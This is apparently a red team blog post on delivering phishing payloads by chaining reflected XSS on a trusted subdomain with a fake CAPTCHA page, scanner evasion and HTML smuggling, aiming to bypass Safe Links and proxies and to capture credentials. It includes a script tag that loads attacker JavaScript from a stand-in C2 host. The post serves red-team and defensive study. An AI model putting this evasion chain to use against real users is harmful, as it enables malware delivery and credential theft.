One Hacker's Trash, is Another's Treasure

Introduction

Phishing attacks are an extremely common method used by adversaries for initial access. Mandiant's annual "M-Trends" report (https://services.google.com/fh/files/misc/m-trends-2025-en.pdf) states that in 2022 and 2023, phishing was the second leading initial infection vector after exploits.

To mitigate the threat posed by phishing attacks, most organisations have employed a security strategy which includes multiple layers of controls. These controls commonly include end user training, secure email gateways, multi-factor authentication, conditional access policies, HTTP proxies, Endpoint Detection and Response (EDR) and application control. When implemented correctly, these controls significantly increase the effort required to successfully perform phishing attacks.

Internet-facing services are also constantly being scanned for characteristics which indicate they are hosting tools commonly leveraged for nefarious activities. Exposing the staging endpoint for a Cobalt Strike listener on a cloud service is going to result in a strongly worded email from the provider and a take down. Likewise, without appropriate operational security while testing phishing campaigns, infrastructure may be burnt before a single email is sent to the target. These proactive controls also increase the effort required for successful campaigns.

During this blog post we will explore how an under appreciated class of bugs, reflected Cross-Site Scripting (XSS), could be used in combination with HTML smuggling to deliver payloads from a trusted subdomain. Neither of these techniques are new, but when combined they can be used to counter end user training (trusted domain), email gateways, "time of click" scanning (i.e. Microsoft Defender Smart Links) and HTTP proxies.

Don't Sleep on that XSS

During red team engagements effort is focused on manually reviewing internet-facing web applications for a target organisation, especially those that look to be old, test deployments or developed in house. These attributes are good indicators for applications that may be affected by issues that could assist with breaching the perimeter. In the best case scenarios, a remote code execution (RCE) vulnerability or a chain of vulnerabilities is discovered which allows compromise of a system and a foothold in the internal network. In less ideal scenarios, common web application vulnerabilities are identified which are not immediately useful. Reflected XSS is an example vulnerability class whose glory is often limited to a screenshot of an "alert(1);" box in a web application report and may not seem to provide immediate value on a red team engagement.

However, the primitive provided by reflected XSS to control the content of a web application (even a brochureware website) running on a trusted subdomain can be useful for spear phishing.

Developing a Payload

The example reflected XSS payload to deliver malicious files while bypassing time of click scanning in this blog is comprised of three components. The first component is the payload delivered in the crafted URL that will bootstrap the second component and allow control of the target application's content. This component is nothing extraordinary, and is a generic XSS payload. The second component is the "landing page" that will be displayed to the user if they click the crafted URL. As it will be exposed to scanners used by secure mail gateways, HTTP proxies and other networking devices which inspect traffic, the component will not contain content which is overtly malicious. It should also contain logic to perform basic sandbox checks before delivering the payload contained in the third and final component.

Component One - Content Control

Depending on the reflected XSS and other controls used by an affected application (i.e. Content Security Policy), the first component could be as simple as the following:

<script src="https://c2.domain.com/static/js/notsuss.js"></script>

The component just needs to execute attacker controlled JavaScript to initialise remaining components.

Component Two - Landing Page and Sandbox Evasion

For phishing landing pages, it is more effective to keep things simple rather than delivering elaborate pretexts. Using a fake CAPTCHA for a landing page is a good approach, as users are frequently exposed to robot checks, development of the page does not require a large time investment and the CAPTCHA completion can also be used to prevent scanners accessing the payload. Additionally, the pretext is not target specific and can be reused within reason.

For the proof of concept (POC) shown in pictures for this blog, the source code from the following fake CAPTCHA GitHub repository was modified, unnecessary code removed and referenced resources (i.e. inline Javascript, CSS and images) compiled into a single HTML file:

The resulting POC was a simple page with a familiar CAPTCHA prompt, "I'm not a robot".

Upon clicking the "I'm not a robot" checkbox, the prompt would transition into a "verifying" state. The verification process was implemented in JavaScript as a 7 second timeout to give the target the impression of a CAPTCHA check.

After the 7 second delay, the text displayed to the user would be updated and a function called to handle some final scanner and robot checks before delivering the third component which actually contained the payload. Ideally, client-side checks would be complemented with server-side controls which include IP address range and geographical location restrictions.

This article by TracLabs (https://medium.com/trac-labs/aitm-phishing-hold-the-gabagool-analyzing-the-gabagool-phishing-kit-531f5bbaf0e4) details some example client-side checks performed by the Gabagool phishing kit before serving users a credential capture page:

Where possible, requests from IP addresses not associated with the target (i.e. limiting access to Zscalar's Australian public IP address ranges or IP address ranges used for egress) would be blocked or served a decoy file. The information required to configure blocking could be obtained from external reconnaissance and generic emails sent with the intention of gathering information from tracking images.

Component Three - Payload Delivery

To bypass HTTP proxies configured to block specific file types, HTML Smuggling (https://attack.mitre.org/techniques/T1027/006/) could be used to deliver payloads from within the third component. HTML Smuggling is a technique which involves embedding the data and name of a file in client-side resources (HTML, JavaScript, CSS etc.) and then using JavaScript API to have the browser "download" the file. As no outbound requests are made for blocked file types (i.e. those used for initial access: .hta, .exe, .vbs etc.), the proxy does not have the capability to block delivery. The folks at Outflank have an excellent blog (https://www.outflank.nl/blog/2018/08/14/html-smuggling-explained/) that details how HTML smuggling functions which is available here:

For the third component, a basic user agent check can also be implemented before delivering a payload file. The assumption is made that the third component is only ever loaded by real users and not scanners, making it safe to redirect any target not on a Windows device to a credential capturing page. Depending on the target login for credential capture, it may be possible to serve EvilNginx using the Browser-in-the-Browser technique (https://mrd0x.com/browser-in-the-browser-phishing-attack/) within the XSS payload by removing frame busters and a clever configuration.

This article from Huntress (https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft) documents how a threat actor sent HTML file attachments in phishing emails which used a combination of HTML smuggling and iframes to load an Attacker-in-the-Middle credential capturing site:

If the user is on a Windows system, Outflank's HTML smuggling POC can be used to deliver the target file. Using the POC from Outflank without obfuscation is very likely to be detected and blocked by security controls.

Tying it All Together

Including a payload link in an email to an inbox for an organisation which has Microsoft Defender for Office enabled results in the link being rewritten with a "Safe Link" (https://learn.microsoft.com/en-us/defender-office-365/safe-links-about).

Upon clicking the link and "solving" the CAPTCHA, the payload file is delivered to the target using HTML smuggling.

As HTML smuggling is used, all outbound requests associated with the payload are only for HTML and JavaScript files. As a result they are unlikely to be blocked by the proxy when served from a trusted domain. Content Delivery Network (CDN) services are perfect for delivery as they are rarely blocked.

Reviewing the logs for the C2 server, an IP address (48.215.3.166) assumed to be a scanner was seen requesting the files associated with component 2 of the payload, but not component 3 (/dist/js/boostrap.v5.3.9.min.js), which is only served to the target.

Limitations

The proof of concept shown above was only tested against Safe Links and is unlikely to be successful in real environments without modification, obfuscation and use of other phishing good practices.